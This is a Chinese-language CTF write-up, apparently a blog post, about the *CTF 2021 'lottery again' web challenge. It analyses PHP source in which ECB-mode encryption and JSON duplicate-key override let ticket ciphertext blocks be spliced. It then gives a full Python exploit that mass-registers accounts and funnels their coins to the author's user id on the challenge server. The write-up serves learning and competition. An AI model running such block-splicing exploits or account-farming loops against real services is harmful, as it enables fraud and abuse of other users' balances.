*CTF 2021 lottery again

Start

给了部分源码,先理一遍这个站的逻辑,
首先index.html中是一个登录框,该登录框可以任意注册:
在这里插入图片描述
每个新用户有coin:300,可以通过买彩票进行赚钱,赚够9999,即可买到flag:
在这里插入图片描述
然后查看源码,找到买彩票的关键代码:

app.Http.Controllers.LotteryController.php 28 line:
$lottery = Lottery::create(['coin' => 100 - floor(sqrt(random_int(1, 10000)))]);

很明显,通过买彩票赚coins只会越来越少,只能另谋出路

bp,抓包,尝试购买彩票:
第一个包:
这里api_token就是每个账户的身份验证,
在这里插入图片描述
买完之后返回enc:
在这里插入图片描述

app.Http.Controller.LotteryController 34 line:
$enc = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), $serilized, MCRYPT_MODE_ECB));

这里enc的加密是通过mcrypt进行RIJNDAEL_256的ECB模式加密,加密的key为服务器上的一个LOTTERY_KEY的环境变量的值,所以这个key看样子是无法获取到的,那么把目标转移到ECB模式的缺陷下,
首先对于ECB的加密是分组进行加密的,然后是rijndael_256的加密是以32字节为一组的
对于$serialized:

$serilized = json_encode([
      'lottery' => $lottery->uuid,
      'user' => $user->uuid,
      'coin' => $lottery->coin,
]);

先往下看到第二个包:
在这里插入图片描述
这个包只是解析了enc,将enc的值解析为info对象

app.Http.Controller.LotteryController 41 line:
    public function info(Request $request)
    {
        return [
            'info' => $this->decrypt($request->input('enc')),
        ];
    }

可以看到在这个位置调用了私有方法decrypt:

app.Http.Controller.LotteryController 78 line:
private function decrypt($enc)
    {
        $serilized = trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), base64_decode($enc), MCRYPT_MODE_ECB));
        $info = json_decode($serilized);
        if (empty($info)) {
            throw new Exception('invalid lottery');
        }
        return $info;
    }

利用泄露的info接口生成的info对象构造json_encode:

$serilized = json_encode([
    "lottery" => "28ee49a1-e423-4d0e-a372-82779cb4d3b6",
    "user" => "55ade85f-a142-4268-9c6c-7c890b604628",
    "coin" => 24,
]);
echo $serialized;

可以得到:

{"lottery":"28ee49a1-e423-4d0e-a372-82779cb4d3b6","user":"55ade85f-a142-4268-9c6c-7c890b604628","coin":24}

32个字节为一组分组得到(不足的补0):

{"lottery":"28ee49a1-e423-4d0e-a

372-82779cb4d3b6","user":"55ade8

5f-a142-4268-9c6c-7c890b604628",

"coin":24}0000000000000000000000

总共可以分为4组,得到的结果就是128个字节的数据,将生成的enc通过base64解码,刚好是128个字节:
在这里插入图片描述
观察分组后的每一组数据,可以发现除了最后一组,其他组都是无法完全控制的,也就是说,lottery和user都不可控,注意到加密的时候用到了json_encode

$serilized = json_encode([
    "lottery" => "28ee49a1-e423-4d0e-a372-82779cb4d3b6",
    "user" => "55ade85f-a142-4268-9c6c-7c890b604628",
    "user" => "test",
    "coin" => 24,
]);
echo $serilized;
echo "<br>";
var_dump(json_decode($serilized));

在这里插入图片描述

说明,在json_encode()的时候,如果键同名,位置靠后的键值会覆盖位置靠前的键值,那么就可以通过覆盖前面的user值,进行重放攻击,测试:
enc1:

{"lottery":"28ee49a1-e423-4d0e-a  372-82779cb4d3b6","user":"55ade8  5f-a142-4268-9c6c-7c890b604628",  "coin":24}

enc2:

{"lottery":"3457f8f7-63c4-47b4-a  514-5bbfff6bd205","user":"a55b9f  5d-5c37-46ab-a0f2-e2a73e62498b",  "coin":9999}

将enc1覆盖为enc2的userid:

{"lottery":"28ee49a1-e423-4d0e-a 372-82779cb4d3b6","user":"55ade8372-82779cb4d3b6","user":"55ade8514-5bbfff6bd205","user":"a55b9f5d-5c37-46ab-a0f2-e2a73e62498b",  "coin":9999}

前面的user为:"user":"55ade8372-82779cb4d3b6",不重要,json_encode调用的时候就已经将该值覆盖了。
继续往下看第三个包:
这里我们发现,如果不点击charge的时候,你的钱是不会加到现在的账户上的,而是需要通过点击charge之后,才会将coin值加到对应的userid
在这里插入图片描述
在这里插入图片描述
那么该位置应该就是漏洞的利用点,通过这个charge函数以及前面说到的覆盖userid的方法将别人的coin不断的输送到我的userid上,
接下来就是构造payload进行循环了,需要确定好一点,对于每个用户,其token以及uuid在创建账户的时候就已经确定了,也就是说每个tokenuuid都对应唯一的用户,这样就可以通过token或者uuid确定需要charge的对象了。

exp.py(该exp改自星盟CTF战队的exp)

from base64 import b64encode as be
from base64 import b64decode as bd
import requests as req
import random
import string
import json
from urllib.parse import quote


url = 'http://52.149.144.45:8080'

my_userid = 'eccf5644-b530-49c5-8203-051b4513d96f'
my_enc = b'6eCIha3RKgcFpe2eFd6HJUK9Lob9PkInGgz+mB3jiH41e1fbL368t8s9svcCP1zjan8G8X\/HkAdCk18fZjYTWVlweXeUei4\/OZimnuVYcuLjsnlDHHQPYdhoweu7dEdgxhM49mxRLoJBoYZf\/RWYUQGtDLpwBs66+iCUvumfyqE='
cookie = {
    'api_token':'GrJQBeW0x59Ss1XLu5CArKutkJYUVmfJ'
}

def get_random_username():
    return ''.join(random.sample(string.ascii_letters + string.digits, 12))

def register():
    username = get_random_username()
    data = {
        'username': username,
        'password': '123456'
    }
    res = req.post(url=url+'/user/register', data=data)
    if 'duplicate' in res.text:  
        return 1
    return username

def login(username):
    data = {
        'username': username,
        'password': '123456'
    }
    res = req.post(url=url+'/user/login', data=data)
    d = json.loads(res.text)
    return d['user']['api_token']

def info(api_token):
    res = req.get(url + "/user/info?api_token=" + api_token)
    d = json.loads(res.text)
    print('uuid: '+d['user']['uuid'])

def buy(api_token):
    data = {
        'api_token': api_token
    }

    res = req.post(url=url+'/lottery/buy', data=data)
    return json.loads(res.text)['enc']
    
def get_enc(enc):
    i = bd(enc)
    ii = bd(my_enc)
    enc3 = be(i[:64] + ii[32:])
    # print('enc: ', end='')
    # print(quote(enc3))
    return enc3

def charge(enc):
    data = {
        'user': my_userid,
        'coin': 51,
        'enc': enc
    }
    res = req.post(url=url+'/lottery/charge', data=data)
    if 'invalid' in res.text:
        return False
    return True

if __name__ == '__main__':
    while True:
        username = register()
        if username == 1:
            continue
        api_token = login(username)
        info(api_token)
        enc = get_enc(buy(api_token))
        if charge(enc):
            print('True')
        else:
            print('False')
    
    

经过n秒之后:
在这里插入图片描述
最终:
在这里插入图片描述
参考文章:*CTF 2021 writeup by 星盟CTF战队
这道题当时写的时候并没有想到可以这样覆盖,json_decode的位置也是一直绕不过去,一直在蹲writeup,如今writeup终于出来了,感谢星盟的师傅醍醐灌顶。

End

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值